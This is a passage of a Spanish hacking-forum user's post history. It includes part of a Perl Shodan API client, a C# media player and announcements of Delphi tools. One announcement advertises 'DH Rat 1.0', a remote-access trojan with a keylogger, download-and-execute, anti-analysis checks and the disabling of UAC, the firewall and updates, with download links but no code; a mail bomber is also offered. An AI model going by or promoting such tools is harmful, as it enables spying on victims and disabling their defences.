  232.        printear("[-] WTF !");
  233.    }
  234.  
  235.    my $i = 0;
  236.  
  237.    my @encontrados = @{ $resultado->{'matches'} };
  238.    foreach my $encontrado (@encontrados) {
  239.        $i++;
  240.        print "-------------------------------------\n\n";
  241.        my $votes       = $encontrado->{"votes"};
  242.        my $description = $encontrado->{"description"};
  243.        my $title       = $encontrados->{"title"};
  244.        my $timestamp   = $encontrados->{"timestamp"};
  245.        my $query       = $encontrados->{"query"};
  246.  
  247.        if ( $votes ne "" ) {
  248.            printear("[+] Votes : ");
  249.            print $votes. "\n";
  250.        }
  251.  
  252.        if ( $description ne "" ) {
  253.            printear("[+] Description : ");
  254.            print $description. "\n\n";
  255.        }
  256.  
  257.        if ( $title ne "" ) {
  258.            printear("[+] Title : ");
  259.            print $title. "\n";
  260.        }
  261.  
  262.        if ( $timestamp ne "" ) {
  263.            printear("[+] Timestamp : ");
  264.            print $timestamp. "\n";
  265.        }
  266.  
  267.        if ( $query ne "" ) {
  268.            printear("[+] Query : ");
  269.            print $query. "\n";
  270.        }
  271.  
  272.        printear("[+] Tags : ");
  273.        my @tags = @{ $encontrado->{'tags'} };
  274.        foreach my $tag (@tags) {
  275.            print $tag. "\t";
  276.        }
  277.        print "\n";
  278.  
  279.        print "\n-------------------------------------\n";
  280.  
  281.        if ( $i % 5 == 0 ) {
  282.            printear("\n[+] Press enter to show more\n");
  283.            <STDIN>;
  284.        }
  285.  
  286.    }
  287.  
  288. }
  289.  
  290. sub list_services {
  291.  
  292.    printear_titulo("\n[+] Listening all services that Shodan crawls ...\n\n");
  293.  
  294.    my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key );
  295.    if ( $code ne "" ) {
  296.        my $i = 0;
  297.        while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
  298.            $i++;
  299.            my $port = $1;
  300.            my $name = $2;
  301.            printear("[+] Port : ");
  302.            print $port. "\n";
  303.            printear("[+] Name : ");
  304.            print $name. "\n\n";
  305.  
  306.            if ( $i % 20 == 0 ) {
  307.                printear("\n[+] Press enter to show more\n");
  308.                <STDIN>;
  309.            }
  310.  
  311.        }
  312.    }
  313.    else {
  314.        print "[-] WTF !" . "\n";
  315.    }
  316.  
  317. }
  318.  
  319. sub resolve {
  320.  
  321.    my $hostnames = $_[0];
  322.  
  323.    printear_titulo("\n[+] Working in DNS Lookup ...\n\n");
  324.  
  325.    my $code =
  326.      toma( "https://api.shodan.io/dns/resolve?hostnames="
  327.          . $hostnames . "&key="
  328.          . $api_key );
  329.    if ( $code ne "" ) {
  330.        while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
  331.            my $host = $1;
  332.            my $ip   = $2;
  333.            printear("[+] Hostname : ");
  334.            print $host. "\n";
  335.            printear("[+] IP : ");
  336.            print $ip. "\n";
  337.        }
  338.    }
  339.    else {
  340.        printear( "[-] WTF !" . "\n" );
  341.    }
  342.  
  343. }
  344.  
  345. sub reverse_now {
  346.  
  347.    $ips = $_[0];
  348.  
  349.    printear_titulo("\n[+] Working in Reverse DNS Lookup ...\n\n");
  350.  
  351.    my $code = toma(
  352.        "https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key );
  353.    if ( $code ne "" ) {
  354.        while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
  355.            my $ip   = $1;
  356.            my $host = $2;
  357.            printear("[+] IP : ");
  358.            print $ip. "\n";
  359.            printear("[+] Hostname : ");
  360.            print $host. "\n";
  361.        }
  362.    }
  363.    else {
  364.        printear( "[-] WTF !" . "\n" );
  365.    }
  366. }
  367.  
  368. sub my_ip {
  369.    printear_titulo("\n[+] Getting your IP ...\n\n");
  370.    my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key );
  371.    if ( $code =~ /"(.*)"/ ) {
  372.        my $ip = $1;
  373.        printear("[+] IP : ");
  374.        print $ip. "\n";
  375.    }
  376.    else {
  377.        printear( "[-] WTF !" . "\n" );
  378.    }
  379. }
  380.  
  381. sub api_info {
  382.  
  383.    printear_titulo("\n[+] Getting your API Info ...\n\n");
  384.  
  385.    my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key );
  386.  
  387.    $resultado = JSON->new->decode($code);
  388.    my $unlock_left = $resultado->{"unlocked_left"};
  389.    my $telnet      = $resultado->{"telnet"};
  390.    my $plan        = $resultado->{"plan"};
  391.    my $http        = $resultado->{"https"};
  392.    my $unlocked    = $resultado->{"unlocked"};
  393.  
  394.    if ( $unlock_left ne "" ) {
  395.        printear("[+] Unlocked left : ");
  396.        print $unlock_left. "\n";
  397.    }
  398.    if ( $telnet ne "" ) {
  399.        printear("[+] Telnet : ");
  400.        print $telnet. "\n";
  401.    }
  402.    if ( $plan ne "" ) {
  403.        printear("[+] Plan : ");
  404.        print $plan. "\n";
  405.    }
  406.    if ( $http ne "" ) {
  407.        printear("[+] HTTPS : ");
  408.        print $http. "\n";
  409.    }
  410.    if ( $unlocked ne "" ) {
  411.        printear("[+] Unlocked : ");
  412.        print $unlocked. "\n";
  413.    }
  414.  
  415. }
  416.  
  417. sub by_count {
  418.  
  419.    my $query  = $_[0];
  420.    my $fecets = "";
  421.  
  422.    printear_titulo("\n[+] Searching in Shodan without Results ...\n\n");
  423.  
  424.    my $code =
  425.      toma( "https://api.shodan.io/shodan/host/count?key="
  426.          . $api_key
  427.          . "&query="
  428.          . $query
  429.          . "&facets="
  430.          . $facets );
  431.  
  432.    $resultado = JSON->new->decode($code);
  433.    my $total = $resultado->{"total"};
  434.    if ( $total ne "" ) {
  435.        printear("[+] Total : ");
  436.        print $total. "\n";
  437.    }
  438.    else {
  439.        printear( "[-] WTF !" . "\n" );
  440.    }
  441.  
  442. }
  443.  
  444. sub by_ip {
  445.  
  446.    my $target = $_[0];
  447.  
  448.    printear("\n[+] Target : ");
  449.    print $target. "\n";
  450.  
  451.    printear_titulo("\n[+] Getting Host Information ...\n\n");
  452.  
  453.    my $code = toma(
  454.        "https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key );
  455.    $resultado = JSON->new->decode($code);
  456.  
  457.    my $ip           = $resultado->{'ip'};
  458.    my $country_name = $resultado->{'country_name'};
  459.    my $country_code = $resultado->{'country_code'};
  460.    my $region_name  = $resultado->{'region_name'};
  461.    my $postal_code  = $resultado->{'postal_code'};
  462.  
  463.    if ( $ip ne "" ) {
  464.        printear("[+] IP : ");
  465.        print $ip. "\n";
  466.    }
  467.    if ( $country_name ne "" ) {
  468.        printear("[+] Country Name : ");
  469.        print $country_name. "\n";
  470.    }
  471.    if ( $country_code ne "" ) {
  472.        printear("[+] Country Code : ");
  473.        print $country_code. "\n";
  474.    }
  475.    if ( $region_name ne "" ) {
  476.        printear("[+] Area Code : ");
  477.        print $region_name. "\n";
  478.    }
  479.    if ( $postal_code ne "" ) {
  480.        printear("[+] Postal Code : ");
  481.        print $postal_code. "\n";
  482.    }
  483.    printear("[+] Hostnames : ");
  484.    my @hostnames = @{ $resultado->{'hostnames'} };
  485.    foreach my $host (@hostnames) {
  486.        print $host. "\t";
  487.    }
  488.    print "\n";
  489.    printear_titulo("\n[+] Getting Data ...\n\n");
  490.    my $i           = 0;
  491.    my @encontrados = @{ $resultado->{'data'} };
  492.    foreach my $encontrado (@encontrados) {
  493.        $i++;
  494.        print "-------------------------------------\n\n";
  495.        my $ip           = $encontrado->{"ip_str"};
  496.        my $country      = $encontrado->{"location"}{"country_name"};
  497.        my $product      = $encontrado->{"product"};
  498.        my $version      = $encontrado->{"version"};
  499.        my $data         = $encontrado->{"data"};
  500.        my $cpe          = $encontrado->{"cpe"};
  501.        my $time         = $encontrado->{"timestamp"};
  502.        my $last_updated = $encontrado->{"last_update"};
  503.        my $port         = $encontrado->{"port"};
  504.        my $os           = $encontrado->{"os"};
  505.        my $isp          = $encontrado->{"isp"};
  506.        my $ans          = $encontrado->{"ans"};
  507.        my $banner       = $encontrado->{"banner"};
  508.  
  509.        if ( $ip ne "" ) {
  510.            printear("[+] IP : ");
  511.            print $ip. "\n";
  512.        }
  513.        if ( $port ne "" ) {
  514.            printear("[+] Port : ");
  515.            print $port. "\n";
  516.        }
  517.        printear("[+] Hostnames : ");
  518.        my @hostnames2 = @{ $encontrado->{'hostnames'} };
  519.        foreach my $host2 (@hostnames2) {
  520.            print $host2. "\t";
  521.        }
  522.        print "\n";
  523.        if ( $country ne "" ) {
  524.            printear("[+] Country : ");
  525.            print $country. "\n";
  526.        }
  527.        if ( $product ne "" ) {
  528.            printear("[+] Product : ");
  529.            print $product. "\n";
  530.        }
  531.        if ( $version ne "" ) {
  532.            printear("[+] Version : ");
  533.            print $version. "\n";
  534.        }
  535.        if ( $data ne "" ) {
  536.            printear("[+] Data : ");
  537.            print "\n\n" . $data . "\n";
  538.        }
  539.        if ( $time ne "" ) {
  540.            printear("[+] Time : ");
  541.            print $time. "\n";
  542.        }
  543.        if ( $last_updated ne "" ) {
  544.            printear("[+] Last Updated : ");
  545.            print $last_updated. "\n";
  546.        }
  547.        if ( $cpe ne "" ) {
  548.            printear("[+] CPE : ");
  549.            print $cpe. "\n";
  550.        }
  551.        if ( $os ne "" ) {
  552.            printear("[+] OS : ");
  553.            print $os. "\n";
  554.        }
  555.        if ( $isp ne "" ) {
  556.            printear("[+] ISP : ");
  557.            print $isp. "\n";
  558.        }
  559.        if ( $asn ne "" ) {
  560.            printear("[+] ASN : ");
  561.            print $ans. "\n";
  562.        }
  563.        if ( $banner ne "" ) {
  564.            printear("[+] Banner : ");
  565.            print $banner. "\n";
  566.        }
  567.        print "\n-------------------------------------\n";
  568.  
  569.        if ( $i % 5 == 0 ) {
  570.            printear("\n[+] Press enter to show more\n");
  571.            <STDIN>;
  572.        }
  573.  
  574.    }
  575.  
  576. }
  577.  
  578. sub by_search {
  579.  
  580.    my $target = $_[0];
  581.  
  582.    printear("[+] Target : ");
  583.    print $target. "\n";
  584.  
  585.    printear_titulo("\n[+] Searching in Shodan ...\n\n");
  586.  
  587.    my $code =
  588.      toma( "https://api.shodan.io/shodan/host/search?key="
  589.          . $api_key
  590.          . "&query="
  591.          . $target
  592.          . "&facets=" );
  593.  
  594.    $resultado = JSON->new->decode($code);
  595.  
  596.    my $total = $resultado->{'total'};
  597.  
  598.    if ( $total ne "" ) {
  599.        printear("[+] Total : ");
  600.        print $total. "\n";
  601.    }
  602.    else {
  603.        printear("[-] WTF !");
  604.    }
  605.  
  606.    my $ip           = $resultado->{'ip'};
  607.    my $country_name = $resultado->{'country_name'};
  608.    my $country_code = $resultado->{'country_code'};
  609.    my $region_name  = $resultado->{'region_name'};
  610.    my $postal_code  = $resultado->{'postal_code'};
  611.  
  612.    if ( $ip ne "" ) {
  613.        printear("[+] IP : ");
  614.        print $ip. "\n";
  615.    }
  616.    if ( $country_name ne "" ) {
  617.        printear("[+] Country Name : ");
  618.        print $country_name. "\n";
  619.    }
  620.    if ( $country_code ne "" ) {
  621.        printear("[+] Country Code : ");
  622.        print $country_code. "\n";
  623.    }
  624.    if ( $region_name ne "" ) {
  625.        printear("[+] Area Code : ");
  626.        print $region_name. "\n";
  627.    }
  628.    if ( $postal_code ne "" ) {
  629.        printear("[+] Postal Code : ");
  630.        print $postal_code. "\n";
  631.    }
  632.  
  633.    if ( $resultado->{'hostnames'}[0] ne "" ) {
  634.        printear("[+] Hostnames : ");
  635.        my @hostnames = @{ $resultado->{'hostnames'} };
  636.        foreach my $host (@hostnames) {
  637.            print $host. "\t";
  638.        }
  639.        print "\n";
  640.    }
  641.  
  642.    printear_titulo("\n[+] Getting Data ...\n\n");
  643.  
  644.    my $i = 0;
  645.  
  646.    my @encontrados = @{ $resultado->{'matches'} };
  647.    foreach my $encontrado (@encontrados) {
  648.        $i++;
  649.        print "-------------------------------------\n\n";
  650.        my $ip           = $encontrado->{"ip_str"};
  651.        my $country      = $encontrado->{"location"}{"country_name"};
  652.        my $product      = $encontrado->{"product"};
  653.        my $version      = $encontrado->{"version"};
  654.        my $data         = $encontrado->{"data"};
  655.        my $cpe          = $encontrado->{"cpe"};
  656.        my $time         = $encontrado->{"timestamp"};
  657.        my $last_updated = $encontrado->{"last_update"};
  658.        my $port         = $encontrado->{"port"};
  659.        my $os           = $encontrado->{"os"};
  660.        my $isp          = $encontrado->{"isp"};
  661.        my $ans          = $encontrado->{"ans"};
  662.        my $banner       = $encontrado->{"banner"};
  663.  
  664.        if ( $ip ne "" ) {
  665.            printear("[+] IP : ");
  666.            print $ip. "\n";
  667.        }
  668.        if ( $port ne "" ) {
  669.            printear("[+] Port : ");
  670.            print $port. "\n";
  671.        }
  672.        printear("[+] Hostnames : ");
  673.        my @hostnames2 = @{ $encontrado->{'hostnames'} };
  674.        foreach my $host2 (@hostnames2) {
  675.            print $host2. "\t";
  676.        }
  677.        print "\n";
  678.        if ( $country ne "" ) {
  679.            printear("[+] Country : ");
  680.            print $country. "\n";
  681.        }
  682.        if ( $product ne "" ) {
  683.            printear("[+] Product : ");
  684.            print $product. "\n";
  685.        }
  686.        if ( $version ne "" ) {
  687.            printear("[+] Version : ");
  688.            print $version. "\n";
  689.        }
  690.        if ( $data ne "" ) {
  691.            printear("[+] Data : ");
  692.            print "\n\n" . $data . "\n";
  693.        }
  694.        if ( $time ne "" ) {
  695.            printear("[+] Time : ");
  696.            print $time. "\n";
  697.        }
  698.        if ( $last_updated ne "" ) {
  699.            printear("[+] Last Updated : ");
  700.            print $last_updated. "\n";
  701.        }
  702.        if ( $cpe ne "" ) {
  703.            printear("[+] CPE : ");
  704.            print $cpe. "\n";
  705.        }
  706.        if ( $os ne "" ) {
  707.            printear("[+] OS : ");
  708.            print $os. "\n";
  709.        }
  710.        if ( $isp ne "" ) {
  711.            printear("[+] ISP : ");
  712.            print $isp. "\n";
  713.        }
  714.        if ( $asn ne "" ) {
  715.            printear("[+] ASN : ");
  716.            print $ans. "\n";
  717.        }
  718.        if ( $banner ne "" ) {
  719.            printear("[+] Banner : ");
  720.            print $banner. "\n";
  721.        }
  722.        print "\n-------------------------------------\n";
  723.  
  724.        if ( $i % 5 == 0 ) {
  725.            printear("\n[+] Press enter to show more\n");
  726.            <STDIN>;
  727.        }
  728.  
  729.    }
  730.  
  731. }
  732.  
  733. sub printear {
  734.    cprint( "\x036" . $_[0] . "\x030" );
  735. }
  736.  
  737. sub printear_logo {
  738.    cprint( "\x037" . $_[0] . "\x030" );
  739. }
  740.  
  741. sub printear_titulo {
  742.    cprint( "\x0310" . $_[0] . "\x030" );
  743. }
  744.  
  745. sub toma {
  746.    return $nave->get( $_[0] )->content;
  747. }
  748.  
  749. sub sintax {
  750.    printear("\n[+] Sintax : ");
  751.    print "perl $0 <option> <value>\n";
  752.    printear("\n[+] Options : \n\n");
  753.    print "-ip <ip> : Host Information\n";
  754.    print "-count <query> : Search Shodan without Results\n";
  755.    print "-search <query> : Search Shodan\n";
  756.    print "-query : List the saved search queries\n";
  757.    print
  758.      "-query_search <query> : Search the directory of saved search queries\n";
  759.    print "-query_tags : List the most popular tags\n";
  760.    print "-services : List all services that Shodan crawls\n";
  761.    print "-resolve <host> : DNS Lookup\n";
  762.    print "-reverse <ip> : Reverse DNS Lookup\n";
  763.    print "-myip : My IP Address\n";
  764.    print "-api_info : API Plan Information\n";
  765.    printear("\n[+] Example : ");
  766.    print "perl shodan.pl -search petardas\n";
  767.    copyright();
  768. }
  769.  
  770. sub head {
  771.    printear_logo("\n-- == Shodan Tool 0.6 == --\n\n");
  772. }
  773.  
  774. sub copyright {
  775.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  776.    exit(1);
  777. }
  778.  
  779. # The End ?
  780.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
4  Programación / Programación General / [Delphi] Shodan Tool 0.6 en: 3 Abril 2015, 16:50
Un programa en Delphi para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

Es necesario que tengan una API Key suya para poder usar este programa.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
5  Programación / Programación General / Re: [Delphi] DH Rat 1.0 en: 24 Marzo 2015, 17:36
El codigo es muy largo para los foros , el comprimido viene con el proyecto para cargar en Delphi y con el ejecutable.
6  Programación / Programación General / [Delphi] DH Rat 1.0 en: 24 Marzo 2015, 16:57
Hoy les traigo la nueva version de mi DH Rat en Delphi , esta version contiene las siguientes funciones :

  • Listar archivos en un directorio con la posibilidad de leerlos o borrarlos
  • Listar y cerrar procesos
  • Ejecutar comandos
  • Activar y desactivar Firewall
  • Activar y desactivar Regedit
  • Abrir y cerrar lectora de CD
  • Ocultar y mostrar barra de tareas
  • Ocultar y mostrar iconos del escritorio
  • Mandar mensajes al infectado
  • Enviar pulsaciones de teclado
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse
  • Volver loca la hora
  • Se puede apagar,reiniciar y cerrar sesion de la computadora
  • Se pueden cargar paginas
  • Se puede cargar paint
  • Se puede cambiar el texto de la hora y escribir lo que quieran
  • Se puede apagar el monitor
  • Se puede hacer hablar (en ingles) a la computadora
  • Bomba de Beeps
  • Se puede listar los drives disponibles
  • Se puede listar los servicios de Windows
  • Se puede listar las ventanas activas
  • Se puede bajar archivos y ejecutarlos
  • Incorpora un keylogger que captura las teclas y ventanas activas
  • Se puede desintalar el RAT
  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates

En el builder se tiene las siguientes opciones :

  • Se puede configurar si se quiere ocultar los archivos
  • Se puede configurar si se quiere cargar el Rat cada vez que inicie Windows
  • Se puede configurar donde se quiere instalar el Rat
  • File Pumper , Extension Spoofer y Icon Changer

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
7  Programación / Programación General / [Delphi] DH Bomber 1.3 en: 20 Marzo 2015, 14:35
Version mejorada de este mail bomber en Delphi.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Necesitan tener instalado Win32OpenSSL para que el programa les funcione.

Eso seria todo.
8  Programación / .NET / [C#] DH Player 1.0 en: 13 Marzo 2015, 15:16
Este vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute

* Formatos de musica soportados : mp3,m4a,wma
* Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

Una imagen :



El codigo

Código
  1. // DH Player 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Based on : MP3 Happy Hard Core Player V 1.0 By Steel Karpov
  5. // Thanks to Steel Karpov
  6.  
  7. using System;
  8. using System.Collections.Generic;
  9. using System.Text;
  10. using System.Windows;
  11. using System.Windows.Controls;
  12. using System.Windows.Data;
  13. using System.Windows.Documents;
  14. using System.Windows.Input;
  15. using System.Windows.Media;
  16. using System.Windows.Media.Imaging;
  17. using System.Windows.Navigation;
  18. using System.Windows.Shapes;
  19. using Microsoft.Win32;
  20. using System.IO;
  21. using System.Windows.Threading;
  22. using System.Text.RegularExpressions;
  23.  
  24. namespace DH_Player
  25. {
  26.    /// <summary>
  27.    /// Lógica de interacción para MainWindow.xaml
  28.    /// </summary>
  29.    public partial class MainWindow : Window
  30.    {
  31.        DispatcherTimer control_del_tiempo;
  32.        bool escribiendo;
  33.        bool enalgo;
  34.        bool repeat;
  35.        bool automatic;
  36.        bool pantalla_completa = false;
  37.  
  38.        public MainWindow()
  39.        {
  40.            InitializeComponent();
  41.  
  42.            control_del_tiempo = new DispatcherTimer();
  43.            control_del_tiempo.Interval = TimeSpan.FromSeconds(1);
  44.            control_del_tiempo.Tick += new EventHandler(timer_Tick);
  45.            escribiendo = false;
  46.        }
  47.  
  48.        private void timer_Tick(object sender, EventArgs e)
  49.        {
  50.            if (!escribiendo)
  51.            {
  52.                linea.Value = player.Position.TotalSeconds;
  53.            }
  54.        }
  55.  
  56.        private void retroceder_MouseUp(object sender, MouseButtonEventArgs e)
  57.        {
  58.            if (lista.SelectedIndex != -1)
  59.            {
  60.                cancion_anterior();
  61.            }
  62.        }
  63.  
  64.        private void play_MouseUp(object sender, MouseButtonEventArgs e)
  65.        {
  66.            if (lista.SelectedIndex != -1)
  67.            {
  68.                enalgo = true;
  69.                player.Play();
  70.            }
  71.        }
  72.  
  73.        private void pause_MouseUp(object sender, MouseButtonEventArgs e)
  74.        {
  75.            if (lista.SelectedIndex != -1)
  76.            {
  77.                player.Pause();
  78.                enalgo = false;
  79.            }
  80.        }
  81.  
  82.        private void avanzar_MouseUp(object sender, MouseButtonEventArgs e)
  83.        {
  84.            if (lista.SelectedIndex != -1)
  85.            {
  86.                cancion_siguiente();
  87.            }
  88.        }
  89.  
  90.        private void nombres_MouseDoubleClick(object sender, MouseButtonEventArgs e)
  91.        {
  92.            if (lista.SelectedIndex != -1)
  93.            {
  94.                enalgo = false;
  95.                start_music();
  96.            }
  97.        }
  98.  
  99.        private void start_music()
  100.        {
  101.  
  102.            if (enalgo == true)
  103.            {
  104.                player.Play();
  105.            }
  106.            else
  107.            {
  108.  
  109.                ListBoxItem ruta1 = (ListBoxItem)lista.SelectedItem;
  110.                string ruta = ruta1.Tag.ToString();
  111.                player.Position = TimeSpan.Zero;
  112.                player.LoadedBehavior = MediaState.Manual;
  113.                player.UnloadedBehavior = MediaState.Stop;
  114.                player.Source = new Uri(ruta);
  115.                linea.Value = 0;
  116.                player.Play();
  117.            }
  118.        }
  119.  
  120.        private void cancion_siguiente()
  121.        {
  122.            enalgo = false;
  123.  
  124.            try
  125.            {
  126.  
  127.                if (lista.SelectedIndex + 1 < lista.Items.Count)
  128.                {
  129.                    lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex + 1);
  130.                    start_music();
  131.                }
  132.  
  133.            }
  134.  
  135.            catch
  136.            {
  137.                //
  138.            }
  139.        }
  140.  
  141.        private void cancion_anterior()
  142.        {
  143.            enalgo = false;
  144.  
  145.            try
  146.            {
  147.  
  148.                if (lista.SelectedIndex - 1 < lista.Items.Count)
  149.                {
  150.                    lista.SelectedItem = lista.Items.GetItemAt(lista.SelectedIndex - 1);
  151.                    start_music();
  152.                }
  153.  
  154.            }
  155.  
  156.            catch
  157.            {
  158.                //
  159.            }
  160.        }
  161.  
  162.        private void volumen_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
  163.        {
  164.            try
  165.            {
  166.                player.Volume = volumen.Value;
  167.            }
  168.            catch
  169.            {
  170.                //
  171.            }
  172.        }
  173.  
  174.        private void player_MouseDown(object sender, MouseButtonEventArgs e)
  175.        {
  176.  
  177.            int width_screen = 1400;
  178.            int height_screen = 800;
  179.  
  180.            int width_original = 483;
  181.            int height_original = 372;
  182.  
  183.            if (e.ClickCount == 2 && pantalla_completa == false)
  184.            {
  185.                player.MinHeight = height_screen;
  186.                player.MinWidth = width_screen;
  187.  
  188.                volumen.Visibility = Visibility.Hidden;
  189.                linea.Visibility = Visibility.Hidden;
  190.                play.Visibility = Visibility.Hidden;
  191.                pause.Visibility = Visibility.Hidden;
  192.                avanzar.Visibility = Visibility.Hidden;
  193.                retroceder.Visibility = Visibility.Hidden;
  194.                contenedor1.Visibility = Visibility.Hidden;
  195.                contenedor2.Visibility = Visibility.Hidden;
  196.                lista.Visibility = Visibility.Hidden;
  197.                menu1.Visibility = Visibility.Hidden;
  198.                progreso.Visibility = Visibility.Hidden;
  199.                this.WindowStyle = WindowStyle.None;
  200.                this.WindowState = WindowState.Maximized;
  201.  
  202.                pantalla_completa = true;
  203.  
  204.            }
  205.            else
  206.            {
  207.  
  208.                if (e.ClickCount == 2 && pantalla_completa == true)
  209.                {
  210.                    player.MinHeight = height_original;
  211.                    player.MinWidth = width_original;
  212.  
  213.                    volumen.Visibility = Visibility.Visible;
  214.                    linea.Visibility = Visibility.Visible;
  215.                    play.Visibility = Visibility.Visible;
  216.                    pause.Visibility = Visibility.Visible;
  217.                    avanzar.Visibility = Visibility.Visible;
  218.                    retroceder.Visibility = Visibility.Visible;
  219.                    contenedor1.Visibility = Visibility.Visible;
  220.                    contenedor2.Visibility = Visibility.Visible;
  221.                    lista.Visibility = Visibility.Visible;
  222.                    menu1.Visibility = Visibility.Visible;
  223.                    progreso.Visibility = Visibility.Visible;
  224.                    this.WindowStyle = WindowStyle.SingleBorderWindow;
  225.                    this.WindowState = WindowState.Normal;
  226.  
  227.                    pantalla_completa = false;
  228.  
  229.                }
  230.            }
  231.  
  232.        }
  233.  
  234.        private void player_MediaOpened(object sender, RoutedEventArgs e)
  235.        {
  236.  
  237.            enalgo = true;
  238.  
  239.            if (player.NaturalDuration.HasTimeSpan)
  240.            {
  241.                TimeSpan ts = player.NaturalDuration.TimeSpan;
  242.                linea.Maximum = ts.TotalSeconds;
  243.                linea.SmallChange = 1;
  244.            }
  245.  
  246.            control_del_tiempo.Start();
  247.        }
  248.  
  249.        private void player_MediaEnded(object sender, RoutedEventArgs e)
  250.        {
  251.            linea.Value = 0;
  252.            enalgo = false;
  253.            if (repeat == true)
  254.            {
  255.                start_music();
  256.            }
  257.            if (automatic == true)
  258.            {
  259.                cancion_siguiente();
  260.            }
  261.        }
  262.  
  263.        private void linea_DragStarted(object sender, System.Windows.Controls.Primitives.DragStartedEventArgs e)
  264.        {
  265.            escribiendo = true;
  266.        }
  267.  
  268.        private void linea_DragCompleted(object sender, System.Windows.Controls.Primitives.DragCompletedEventArgs e)
  269.        {
  270.            escribiendo = false;
  271.            player.Position =
  272.                TimeSpan.FromSeconds(linea.Value);
  273.        }
  274.  
  275.        private void linea_MouseLeftButtonUp(object sender, MouseButtonEventArgs e)
  276.        {
  277.            player.Position = TimeSpan.FromSeconds(linea.Value);
  278.        }
  279.  
  280.        private void linea_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
  281.        {
  282.            try
  283.            {
  284.                string tiempo = TimeSpan.FromSeconds(linea.Value).ToString();
  285.                int cantidad = (int)player.NaturalDuration.TimeSpan.TotalSeconds;
  286.  
  287.                TimeSpan tiempo_final = TimeSpan.FromSeconds(cantidad);
  288.  
  289.                Match regex = Regex.Match(tiempo, @"(.*)\.(.*)", RegexOptions.IgnoreCase);
  290.                if (regex.Success)
  291.                {
  292.                    progreso.Content = regex.Groups[1].Value + " / " + tiempo_final;
  293.                }
  294.            }
  295.            catch
  296.            {
  297.                //
  298.            }
  299.        }
  300.  
  301.        private void nombres_DragEnter(object sender, DragEventArgs e)
  302.        {
  303.            if (e.Data.GetDataPresent(DataFormats.FileDrop))
  304.            {
  305.                e.Effects = DragDropEffects.Copy;
  306.            }
  307.            else
  308.            {
  309.                e.Effects = DragDropEffects.None;
  310.            }
  311.        }
  312.  
  313.        private void nombres_Drop(object sender, DragEventArgs e)
  314.        {
  315.            List<string> archivos = new List<string>((string[])e.Data.GetData(DataFormats.FileDrop));
  316.            foreach (string archivo in archivos)
  317.            {
  318.                string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  319.                string extension = System.IO.Path.GetExtension(archivo);
  320.                if (extension == ".mp3" || extension == ".avi" || extension==".m4a" || extension==".wma" || extension==".mp4" || extension==".flv" || extension==".mkv" || extension==".wmv" || extension==".mpg")
  321.                {
  322.                    ListBoxItem item1 = new ListBoxItem();
  323.                    item1.Content = nombre;
  324.                    item1.Tag = archivo;
  325.                    lista.Items.Add(item1);
  326.                }
  327.            }
  328.        }
  329.  
  330.        private void MenuItem_Click(object sender, RoutedEventArgs e)
  331.        {
  332.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  333.            openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
  334.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  335.            openFileDialog1.Multiselect = true;
  336.            openFileDialog1.Title = "Select Song";
  337.            Nullable<bool> result = openFileDialog1.ShowDialog();
  338.            if (result == true)
  339.            {
  340.  
  341.                string[] archivos = openFileDialog1.FileNames;
  342.                foreach (string archivo in archivos)
  343.                {
  344.                    string nombre = System.IO.Path.GetFileNameWithoutExtension(archivo);
  345.                    ListBoxItem item1 = new ListBoxItem();
  346.                    item1.Content = nombre;
  347.                    item1.Tag = archivo;
  348.                    lista.Items.Add(item1);
  349.                }
  350.            }
  351.        }
  352.  
  353.        private void MenuItem_Click_1(object sender, RoutedEventArgs e)
  354.        {
  355.            OpenFileDialog openFileDialog1 = new OpenFileDialog();
  356.            openFileDialog1.Filter = "MP3 (.mp3)|*.mp3|M4A (.m4a)|*.m4a|WMA (.wma)|*.m4a";
  357.            openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  358.            openFileDialog1.Multiselect = true;
  359.            openFileDialog1.Title = "Select Song";
  360.            Nullable<bool> result = openFileDialog1.ShowDialog();
  361.            if (result == true)
  362.            {
  363.                string directorio = System.IO.Path.GetDirectoryName(openFileDialog1.FileName);
  364.                string[] archivos = Directory.GetFiles(directorio);
  365.                foreach (string archivo in archivos)
  366.                {
  367.                    string extension = System.IO.Path.GetExtension(archivo);
